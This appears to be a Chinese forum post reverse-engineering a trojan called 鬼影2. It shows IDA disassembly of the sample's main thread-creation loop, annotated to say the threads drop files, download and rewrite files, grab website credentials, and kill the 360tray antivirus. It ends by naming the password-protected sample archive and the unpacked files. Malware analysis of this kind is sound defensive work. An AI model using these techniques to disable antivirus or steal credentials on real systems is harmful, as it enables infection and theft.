.text:0040AA35 FF 15 30 C2 40 00 call    GetInputState         ; 获取调用线程有没有键盘鼠标消息,感觉没啥用
.text:0040AA35                                                 ; ,知道的大大告诉俺一下
.text:0040AA3B 53                push    ebx                   ; _DWORD
.text:0040AA3C 53                push    ebx                   ; _DWORD
.text:0040AA3D 53                push    ebx                   ; _DWORD
.text:0040AA3E FF 15 D4 C1 40 00 call    addrGetCurrentThreadId
.text:0040AA44 50                push    eax                   ; _DWORD
.text:0040AA45 FF 15 34 C2 40 00 call    addrPostThreadMessageA ; 向线程发空消息
.text:0040AA45                                                 ; 注释:发送一个空消息是激发消息循环马上工作
.text:0040AA4B 53                push    ebx                   ; _DWORD
.text:0040AA4C 53                push    ebx                   ; _DWORD
.text:0040AA4D 8D 44 24 58       lea     eax, [esp+6C8h+var_670]
.text:0040AA51 53                push    ebx                   ; _DWORD
.text:0040AA52 50                push    eax                   ; _DWORD
.text:0040AA53 FF 15 38 C2 40 00 call    addrGetMessageA       ; 将消息取出,感觉他就是为了是循环活动起来
.text:0040AA53                                                 ; ,但并不影响我的分析
.text:0040AA59 53                push    ebx                   ; bShow
.text:0040AA5A FF 15 9C 11 40 00 call    ShowCursor            ; 将鼠标隐藏
.text:0040AA5A                                                 ; 注释:为了方便调试,先修改ebx,过去在还原
.text:0040AA5A                                                 ; 又多话了。。。
.text:0040AA60 68 D0 07 00 00    push    7D0h                  ; _DWORD
.text:0040AA65 FF 15 50 C1 40 00 call    addrsSleep





.text:0040AB81 53                push    ebx                   ; _DWORD 下面开始 是一系列的线程创建
.text:0040AB82 53                push    ebx                   ; _DWORD
.text:0040AB83 53                push    ebx                   ; _DWORD
.text:0040AB84 68 20 7E 40 00    push    offset sub_407E20     ; 生成文件
.text:0040AB89 53                push    ebx                   ; _DWORD
.text:0040AB8A 53                push    ebx                   ; _DWORD
.text:0040AB8B FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040AB91 50                push    eax                   ; _DWORD
.text:0040AB92 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040AB98 53                push    ebx                   ; _DWORD
.text:0040AB99 53                push    ebx                   ; _DWORD
.text:0040AB9A 53                push    ebx                   ; _DWORD
.text:0040AB9B 68 60 81 40 00    push    offset sub_408160     ; 下载特定文件,并改写
.text:0040ABA0 53                push    ebx                   ; _DWORD
.text:0040ABA1 53                push    ebx                   ; _DWORD
.text:0040ABA2 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABA8 50                push    eax                   ; _DWORD
.text:0040ABA9 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABAF 53                push    ebx                   ; _DWORD
.text:0040ABB0 53                push    ebx                   ; _DWORD
.text:0040ABB1 53                push    ebx                   ; _DWORD
.text:0040ABB2 68 E0 8F 40 00    push    offset sub_408FE0     ; 干一些 找ini下载信息找到后就完成下载信息,创建进程
.text:0040ABB2                                                 ; 由于 自己的虚拟机下不知道怎么了
.text:0040ABB2                                                 ; 文件找不到。。所以只是看了静态代码,写下的功能
.text:0040ABB7 53                push    ebx                   ; _DWORD
.text:0040ABB8 53                push    ebx                   ; _DWORD
.text:0040ABB9 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABBF 50                push    eax                   ; _DWORD
.text:0040ABC0 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABC6 53                push    ebx                   ; _DWORD
.text:0040ABC7 53                push    ebx                   ; _DWORD
.text:0040ABC8 53                push    ebx                   ; _DWORD
.text:0040ABC9 68 C0 94 40 00    push    offset sub_4094C0     ; 获取网站的认证id 和pwd 并执行IE进程
.text:0040ABC9                                                 ; ,调试机上文件 出现问题,所以之描述功能
.text:0040ABC9                                                 ;
.text:0040ABCE 53                push    ebx                   ; _DWORD
.text:0040ABCF 53                push    ebx                   ; _DWORD
.text:0040ABD0 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABD6 50                push    eax                   ; _DWORD
.text:0040ABD7 FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABDD 53                push    ebx                   ; _DWORD
.text:0040ABDE 53                push    ebx                   ; _DWORD
.text:0040ABDF 53                push    ebx                   ; _DWORD
.text:0040ABE0 68 B0 A1 40 00    push    offset sub_40A1B0     ; 扫描各个目录去除360tray进程
.text:0040ABE5 53                push    ebx                   ; _DWORD
.text:0040ABE6 53                push    ebx                   ; _DWORD
.text:0040ABE7 FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040ABED 50                push    eax                   ; _DWORD
.text:0040ABEE FF 15 54 C1 40 00 call    addrCloseHandle
.text:0040ABF4 53                push    ebx                   ; _DWORD
.text:0040ABF5 53                push    ebx                   ; _DWORD
.text:0040ABF6 53                push    ebx                   ; _DWORD
.text:0040ABF7 68 F0 A7 40 00    push    offset sub_40A7F0     ; 继续干360
.text:0040ABFC 53                push    ebx                   ; _DWORD
.text:0040ABFD 53                push    ebx                   ; _DWORD
.text:0040ABFE FF 15 D0 C1 40 00 call    addrCreateThread
.text:0040AC04 50                push    eax                   ; _DWORD
.text:0040AC05 FF 15 54 C1 40 00 call    addrCloseHandle





这就是它主要循环执行的线程部分(详细部分看idb)
分工还是很明确的。
就重点和简单点看了一下,整不下去了(有部分文件需要中毒后分析代码才能得到,我菜。。只有这么个能力),如果继续分析还可以看他释放以后在释放的文件执行的功能。。。。。很多


在调试的时候 对于多线程 我们可以看到 (只表明此处线程的提示)
在讲threadproc 分别断点后,我们直接跑起来之前我们看看图,他不会立即跑,他会创建后被挂起
 

程序里 利用sleep 或花指令 ,使得 线程切换频繁。。。

就到这里吧。。。

鬼影2.rar[解压密码是:muma]

idb和 释放脱壳文件.rar